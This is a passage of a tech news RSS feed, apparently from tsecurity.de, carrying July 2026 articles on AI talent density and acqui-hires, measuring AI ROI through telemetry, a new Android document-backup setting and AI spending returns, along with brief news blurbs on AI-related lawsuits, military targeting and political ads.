<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI sued over ChatGPT health advice that almost killed a pastor]]></title>
<description><![CDATA[ChatGPT allegedly offered "extremely dangerous medical recommendations" regarding a pulmonary embolism.]]></description>
<link>https://tsecurity.de/de/3687341/it-nachrichten/openai-sued-over-chatgpt-health-advice-that-almost-killed-a-pastor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687341/it-nachrichten/openai-sued-over-chatgpt-health-advice-that-almost-killed-a-pastor/</guid>
<pubDate>Wed, 22 Jul 2026 20:48:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ChatGPT allegedly offered "extremely dangerous medical recommendations" regarding a pulmonary embolism.]]></content:encoded>
</item>
<item>
<title><![CDATA[Your instant Android backup upgrade]]></title>
<description><![CDATA[Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.



In many areas of our digital life, that mercifully does Just Work™ in exactly that...]]></description>
<link>https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/</guid>
<pubDate>Wed, 22 Jul 2026 12:02:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Here in this high-tech era of 2026, keeping important info backed up and synced <em>should </em>be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.</p>



<p class="wp-block-paragraph">In many areas of our digital life, that mercifully does Just Work™ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.</p>



<p class="wp-block-paragraph">One area where seamless syncing somehow still <em>doesn’t</em> occur, though, is in the domain of <em>downloaded </em>documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on <em>that</em> one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.</p>



<p class="wp-block-paragraph">Well, take a moment to join me in celebration: Amidst all the <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">Gemini gobbledegook</a> that <a href="https://www.computerworld.com/article/2117752/google-gemini-ai.html">no one asked for</a> (and that often falls somewhere between <a href="https://www.computerworld.com/article/4182583/ai-creepy-era.html">“pointless”</a> and <a href="https://www.computerworld.com/article/3990497/google-gemini-deceit.html">“actively counterproductive”</a>), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to <em>you</em> to find and activate it.</p>



<p class="wp-block-paragraph">Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.</p>



<p class="wp-block-paragraph">All <em>you’ve </em>gotta do is find and flip that one new switch.</p>



<p class="wp-block-paragraph"><strong>[Don’t let yourself miss an ounce of Android Intelligence. </strong><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Join my free weekly Android Intelligence newsletter</strong></a><strong> and get one new thing to try in your inbox every Friday!]</strong></p>



<h2 class="wp-block-heading"><strong>The Android backup lowdown</strong></h2>



<p class="wp-block-paragraph">So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.</p>



<p class="wp-block-paragraph">‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.</p>



<p class="wp-block-paragraph">Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many <em>other </em>areas of important data are also synced on their own at the app level — outside of any system mechanisms.</p>



<p class="wp-block-paragraph">Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on <em>that</em> <em>one device </em>and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if <em>you </em>go out of your way to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">find and set up a third-party app to handle the heavy lifting</a>.</p>



<p class="wp-block-paragraph">That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself…) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-documents.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup documents" class="wp-image-4198961" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">The easily overlooked new option for backing up documents on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">The option is on its way to all devices running 2018’s <a href="https://www.computerworld.com/article/1698598/android-9-pie.html">Android 9 release</a> and higher. (If you’re still using a phone with an <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> older than that, you’re now a whopping <em>eight years </em>out of date, and you have <a href="https://www.computerworld.com/article/1718016/android-upgrades-matter.html"><em>much</em> bigger problems</a>.)</p>



<p class="wp-block-paragraph">Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.</p>



<p class="wp-block-paragraph">Lemme show ya how.</p>



<h2 class="wp-block-heading"><strong>Android’s document backup addition</strong></h2>



<p class="wp-block-paragraph">I promise: This couldn’t be much simpler.</p>



<p class="wp-block-paragraph">No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)</p>



<p class="wp-block-paragraph">Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.</p>



<p class="wp-block-paragraph">However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-backup-options.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Android backup options" class="wp-image-4198962" width="1024" height="742" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Android’s expanded list of backup options — now including documents alongside other forms of on-device data.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.</p>



<p class="wp-block-paragraph">If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.</p>



<p class="wp-block-paragraph">Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That <em>does</em> mean they’ll count against your overall Google storage total, so keep an eye on your <a href="https://drive.google.com/drive/u/0/quota" target="_blank" rel="noreferrer noopener">Drive storage total</a> to make sure you’re in solid shape and look to the <a href="https://one.google.com/storage/management?from=1&amp;g1_landing_page=1" target="_blank" rel="noreferrer noopener">Google One storage hub</a> if you ever want some simple suggestions for freeing up space.</p>



<p class="wp-block-paragraph">Speaking of other Google services: If you ever want to keep <em>other</em> types of locally stored <em>non</em>-document files from an Android device synced and available elsewhere, you can easily rely on <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=in-app%20upgrade.-,Photos%20and%20music,-OK%2C%20so%20they">Google Photos for syncing screenshots and other images</a> — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific <em>individual </em>on-device folders if you want to sync some but not all of those areas) — and you can still turn to <a href="https://www.computerworld.com/article/1711741/how-to-back-up-android-phones-complete-guide.html#:~:text=a%20new%20one.-,Files,-The%20easiest%20way">those aforementioned third-party apps</a> for broader syncing of anything else imaginable.</p>



<p class="wp-block-paragraph">But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on <em>you </em>to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.</p>



<p class="wp-block-paragraph">Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that <em>that </em>can only be a good thing.</p>



<p class="wp-block-paragraph"><em>Get practical Android knowledge in your inbox every Friday with </em><a href="https://www.theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong><em>my free Android Intelligence newsletter</em></strong></a><strong><em> </em></strong><em>— one new thing to try each week, straight from me to you.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Immorality? Palantir Maven Fails the Gödel Test]]></title>
<description><![CDATA[On the first day of the war on Iran, February 28, Palantir’s Maven Smart System steered the U.S. military to strike at more than 1,000 targets. One was a primary school in Minab, where more than 160 people were killed, most of them children. Al Jazeera examined that strike this week under the que...]]></description>
<link>https://tsecurity.de/de/3684835/it-security-nachrichten/immorality-palantir-maven-fails-the-goedel-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684835/it-security-nachrichten/immorality-palantir-maven-fails-the-goedel-test/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On the first day of the war on Iran, February 28, Palantir’s Maven Smart System steered the U.S. military to strike at more than 1,000 targets. One was a primary school in Minab, where more than 160 people were killed, most of them children. Al Jazeera examined that strike this week under the question of … <a href="https://www.flyingpenguin.com/immorality-palantir-maven-fails-the-godel-test/" class="more-link">Continue reading <span class="screen-reader-text">Immorality? Palantir Maven Fails the Gödel Test</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Immorality? Palantir Maven Fails the Gödel Test]]></title>
<description><![CDATA[On the first day of the war on Iran, February 28, Palantir’s Maven Smart System steered the U.S. military to strike at more than 1,000 targets. One was a primary school in Minab, where more than 160 people were killed, most of them children. Al Jazeera examined that strike this week under the que...]]></description>
<link>https://tsecurity.de/de/3684836/it-security-nachrichten/immorality-palantir-maven-fails-the-goedel-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684836/it-security-nachrichten/immorality-palantir-maven-fails-the-goedel-test/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On the first day of the war on Iran, February 28, Palantir’s Maven Smart System steered the U.S. military to strike at more than 1,000 targets. One was a primary school in Minab, where more than 160 people were killed, most of them children. Al Jazeera examined that strike this week under the question of … <a href="https://www.flyingpenguin.com/immorality-palantir-maven-fails-the-godel-test/" class="more-link">Continue reading <span class="screen-reader-text">Immorality? Palantir Maven Fails the Gödel Test</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Netanyahu Ad Uses a Questionable Tactic Against Bereaved Rival]]></title>
<description><![CDATA[A.I.-generated images showing Gadi Eisenkot, the Israeli leader’s top challenger in upcoming elections, played on anti-Arab sentiments and used images seen as disrespectful to his son, who was killed in the recent Gaza war.]]></description>
<link>https://tsecurity.de/de/3684408/ai-nachrichten/netanyahu-ad-uses-a-questionable-tactic-against-bereaved-rival/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684408/ai-nachrichten/netanyahu-ad-uses-a-questionable-tactic-against-bereaved-rival/</guid>
<pubDate>Tue, 21 Jul 2026 18:48:53 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A.I.-generated images showing Gadi Eisenkot, the Israeli leader’s top challenger in upcoming elections, played on anti-Arab sentiments and used images seen as disrespectful to his son, who was killed in the recent Gaza war.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI allocation trap: Record spend, vanishing returns]]></title>
<description><![CDATA[In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-b...]]></description>
<link>https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683786/it-nachrichten/the-ai-allocation-trap-record-spend-vanishing-returns/</guid>
<pubDate>Tue, 21 Jul 2026 15:18:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant <a href="https://www.axios.com/2026/05/28/ai-spending-roi-enterprise-costs">told Axios</a> that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-1-15-gartner-says-worldwide-ai-spending-will-total-2-point-5-trillion-dollars-in-2026">Worldwide AI spending is forecast to reach $2.52 trillion in 2026</a>, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.</p>



<h2 class="wp-block-heading">The number everyone quotes, and no one acts on</h2>



<p class="wp-block-paragraph">The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">The GenAI Divide</a>, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&amp;L, while roughly 5 percent captured nearly all the value. <a href="https://www.spglobal.com/market-intelligence/en/news-insights/research/2025/10/generative-ai-shows-rapid-growth-but-yields-mixed-results">S&amp;P Global Market Intelligence</a> found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">Gartner</a> expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: <a href="https://www.rand.org/pubs/research_reports/RRA2680-1.html">RAND</a> found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.</p>



